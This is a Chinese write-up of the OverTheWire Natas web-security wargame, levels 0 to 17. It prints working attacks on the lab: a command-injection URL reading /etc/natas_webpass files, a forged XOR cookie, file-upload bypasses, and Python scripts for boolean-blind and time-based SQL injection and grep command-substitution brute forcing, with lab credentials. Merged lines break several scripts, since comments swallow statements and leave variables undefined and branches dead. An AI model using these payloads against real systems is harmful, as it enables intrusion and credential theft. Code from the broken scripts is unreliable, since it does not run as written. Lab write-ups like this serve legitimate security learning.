第0关

image.png
在html代码中,右击获取就行
image.png

第1关

image.png
禁右键了,加上vview--soource
image.png

第2关

image.png
这里,说明files下有路径,查看可得
image.png
image.png

第3关

image.png
还是信息泄露
在 Web 开发中,如果你想告诉搜索引擎的爬虫(比如 Googlebot)不要去抓取网站的某些特定目录或文件,通常会在网站的根目录下放置一个特殊的文件。

image.png
image.png

第4关

referer伪造
image.png

第5关

cookie伪造
image.png

第6关

image.png
image.png

第7关

路径穿越
image.png
image.png

第8关

image.png

这里是先对密码进行base64加密,然后反转,最后转hex,所以
image.png

image.png

第9关

命令执行漏洞
PixPin_2026-04-20_13-44-58.png
http://natas9.natas.labs.overthewire.org/index.php?needle=%3B+cat%20/etc/natas_webpass/natas10+%22%22+%3B&submit=Search
image.png

第10关

image.png

这里其实还考察了php grep的多文件扫描机制

image.png

grep -i .* /etc/natas_webpass/natas11 dictionary.txt
这样一来,grep 就把这段命令解析成了:

  1. 要搜索的内容: .* (正则表达式,代表匹配任意字符)
  2. 搜索目标 1: /etc/natas_webpass/natas11 (我们真正想看的密码文件)
  3. 搜索目标 2: dictionary.txt (原本字典文件)

第11关

image.png

取出php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';

// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}

return $outText;
}

function loadData($def) {
global $_COOKIE;
$mydata = $def; //mydata=defaultdata=array( "showpassword"=>"no", "bgcolor"=>"#ffffff")
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); //对coookie的data属性base64解码后异或且json解码
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {//tempdata=array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}

function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata); //$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}

saveData($data);



?>


<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}

?>

解得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php  
// 1. 从你的浏览器 F12 里把默认的 cookie 复制出来放到这里
$default_cookie_base64 = "HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg";

// 2. 解开 base64 得到真实的密文
$ciphertext = base64_decode($default_cookie_base64);

// 3. 我们已知的默认明文
$default_plaintext = json_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff"));

// 4. 第一步:明文 ^ 密文 = 找出 Key$key = "";
for($i=0; $i<strlen($ciphertext); $i++) {
$key .= $ciphertext[$i] ^ $default_plaintext[$i];
}
// 打印出来你会发现 key 是一串循环的字符,比如 qw8Jqw8J...// 我们只需要截取其中不重复的部分作为真正的 key 即可(比如 qw8J)
echo "".$key;
$real_key = "eDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoe"; // 请根据你实际跑出来的结果替换

// 5. 第二步:用真正的 key 加密我们想要的新明文
$new_plaintext = json_encode(array("showpassword"=>"yes", "bgcolor"=>"#ffffff"));
$new_ciphertext = "";
for($i=0; $i<strlen($new_plaintext); $i++) {
$new_ciphertext .= $new_plaintext[$i] ^ $real_key[$i];
}

// 6. 最终的 Cookie 答案
echo "\n" . base64_encode($new_ciphertext);
?>

image.png

第12关

image.png
查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";

for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}

return $string;
}

function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>

这里就是信任前端隐藏字段绕过
image.png

image.png
image.png

第13关

看看代码
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "<censored>" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

<?php

function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";

for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}

return $string;
}

function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

存在文件内容头检测绕过绕过
image.png
同理可得:
image.png

第14关

sql注入,万能钥匙
image.png

第15关

image.png
一开始还以为是联合注入,结果没注入点,果断换布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests

url = "http://natas15.natas.labs.overthewire.org/index.php"
# 【修正 1】修改为 Natas15 正确的回显特征
true_flag = "This user exists."
# 【修正 2】修改为 Natas15 正确的表单参数名
inject_param = "username"
# 你的认证信息
auth_info = ('natas15', 'SdqIqBsFcz3yotlNYErZSZwblkm0lrvx')

def get_password():
"""利用二分法获取 natas16 的密码"""
password = ""
# Natas 的密码固定为 32 位
for i in range(1, 33):
low = 48 # '0' 的 ASCII 码
high = 122 # 'z' 的 ASCII 码

while low <= high:
mid = (low + high) // 2

# 【修正 3】闭合双引号,目标改为 password 字段,注释符用 #
payload = f'natas16" and ascii(substring(password,{i},1))>{mid} #'

data = {
inject_param: payload
}

# 发送 POST 请求并带上认证
res = requests.post(url, data=data, auth=auth_info)

if true_flag in res.text:
# 页面正常,说明 ASCII 码大于 mid,区间右移
low = mid + 1
else:
# 页面异常,说明 ASCII 码小于等于 mid,区间左移
high = mid - 1

password += chr(low)
print(f"[*] 当前爆破进度: {password}")

print(f"\n[+] 最终拿到的 Natas16 密码为: {password}")

if __name__ == "__main__":
get_password()

image.png

第16关

触及知识盲区了,记录下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?  
$key = "";

if(array_key_exists("needle", $_REQUEST)) {    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

这里涉及到Linux的特性,就是对命令替换的绕过

这里需要爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests  
import re

url = "http://natas16.natas.labs.overthewire.org/index.php"

# 测试词,就用 appletest_word = "apple"
auth_info = ('natas16', 'hPkjKYviLQctEW33QmuXL6eDVfMW4sGo')
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

print("[*] 开始利用 grep 命令盲注爆破 Natas 17 密码...")

password = ""
while len(password) < 32:
found_char = False

for char in charset:
print(f"[*] 正在尝试: {password}{char}", end='\r')

payload = f"{test_word}$(grep ^{password}{char} /etc/natas_webpass/natas17)"
params = {'needle': payload}

try:
res = requests.get(url, params=params, auth=auth_info)
except Exception as e:
print(f"\n[!] 网络请求报错: {e}")
exit()


# 【核心修改】精准提取 <pre> 标签内的内容
# 使用正则,re.DOTALL 表示让 . 也能匹配换行符
match = re.search(r'<pre>(.*?)</pre>', res.text, re.DOTALL)

if match:
# 获取 <pre> 里面的纯文本结果
pre_content = match.group(1).strip()

# 如果结果是空的(即啥也没搜出来),说明我们子命令执行成功,干扰了外层 grep # 这就意味着我们猜对了当前的字符!
if pre_content == "":
password += char
print(f"\n[+] 发现字符!当前进度: {password}")
found_char = True
break else:
print("\n[!] 警告:没有找到 <pre> 标签,网页结构可能变了?")
exit()

if not found_char:
print("\n[!] 跑完了一整圈,没有匹配到任何字符!这不应该发生。")
break

print(f"\n[+] 爆破完成!Natas 17 的最终密码为: {password}")

第17关

image.png

此关对于所有报错都注销了,意味着我们只能通过时间注入来获取密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests  
import time

url = "http://natas17.natas.labs.overthewire.org/index.php"
# 请替换为你实际拥有的 natas17 密码
myauth = ("natas17", "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC")
time_threshold = 3 # 3秒通常就足够了,可以节省时间


def get_password_by_time(length=32):
password = ""
# 密码由字母和数字组成,无需从 32 (空格) 开始,从 48 ('0') 开始即可
for i in range(1, length + 1):
low = 48
high = 122

while low <= high:
mid = (low + high) // 2

# 使用双引号闭合,使用 # 注释,查询 password 字段
payload = f'natas18" AND IF(ASCII(SUBSTRING(password,{i},1))>{mid}, SLEEP({time_threshold}), 0) #'

mydata = {
"username": payload
}

try:
start_time = time.time()
# 设置 timeout 大于 time_threshold,防止被 requests 提前掐断
requests.post(url, data=mydata, auth=myauth, timeout=10)
end_time = time.time()

if end_time - start_time >= time_threshold:
low = mid + 1
else:
high = mid - 1

except requests.exceptions.Timeout:
# 触发 timeout 说明 sleep 执行了
low = mid + 1
except requests.exceptions.RequestException as e:
print(f"[-] 网络请求发生错误: {e}")
break

password += chr(low)
print(f"[*] 当前爆破进度: {password}")

print(f"[+] natas18 的最终密码为: {password}")


if __name__ == "__main__":
get_password_by_time(length=32)

image.png
爆了好几次不对,用ai加了一个防抖包机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests  
import time

url = "http://natas17.natas.labs.overthewire.org/index.php"
# 【重要】请务必将下方替换为你自己持有的正确 natas17 密码
myauth = ("natas17", "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC")
time_threshold = 5 # 增加延迟阈值以对抗服务器波动


def test_payload(payload):
"""
发送 payload 并测试是否发生延时。
返回 True 表示发生延时(或超时),False 表示未延时。
""" mydata = {"username": payload}
try:
start_time = time.time()
# timeout 设置必须比 time_threshold 大不少,防止 requests 过早掐断连接
requests.post(url, data=mydata, auth=myauth, timeout=12)
return (time.time() - start_time) >= time_threshold
except requests.exceptions.Timeout:
# 如果请求直接触发了 timeout,说明服务器挂起了很久,视为条件为真
return True
except requests.exceptions.RequestException as e:
print(f"\n[-] 请求异常: {e}")
return False


def get_password_by_time_robust(length=32):
password = ""
print("[*] 开始执行基于时间盲注的爆破 (附带网络防抖机制)...")

for i in range(1, length + 1):
low = 48 # '0' 的 ASCII high = 122 # 'z' 的 ASCII
while low <= high:
mid = (low + high) // 2
payload = f'natas18" AND IF(ASCII(SUBSTRING(password,{i},1))>{mid}, SLEEP({time_threshold}), 0) #'

# 第一次测试
is_delayed = test_payload(payload)

# 核心防误判逻辑:如果发生了延时,再测一次进行确认!
if is_delayed:
print(f" [~] 字符位置 {i} (mid={mid}) 疑似延时,进行二次确认...")
time.sleep(0.5) # 稍微停顿,减轻 OTW 服务器压力
is_delayed_again = test_payload(payload)

if is_delayed_again:
# 两次都延时,确认是 True low = mid + 1
else:
# 第二次没延时,说明第一次纯属网络波动,判定为 False print(" [!] 判定为网络卡顿,已自动纠正。")
high = mid - 1
else:
# 没有延时,直接判定为 False high = mid - 1

password += chr(low)
print(f"[*] 当前爆破进度: {password}")

print(f"\n[+] natas18 的最终密码为: {password}")


if __name__ == "__main__":
get_password_by_time_robust()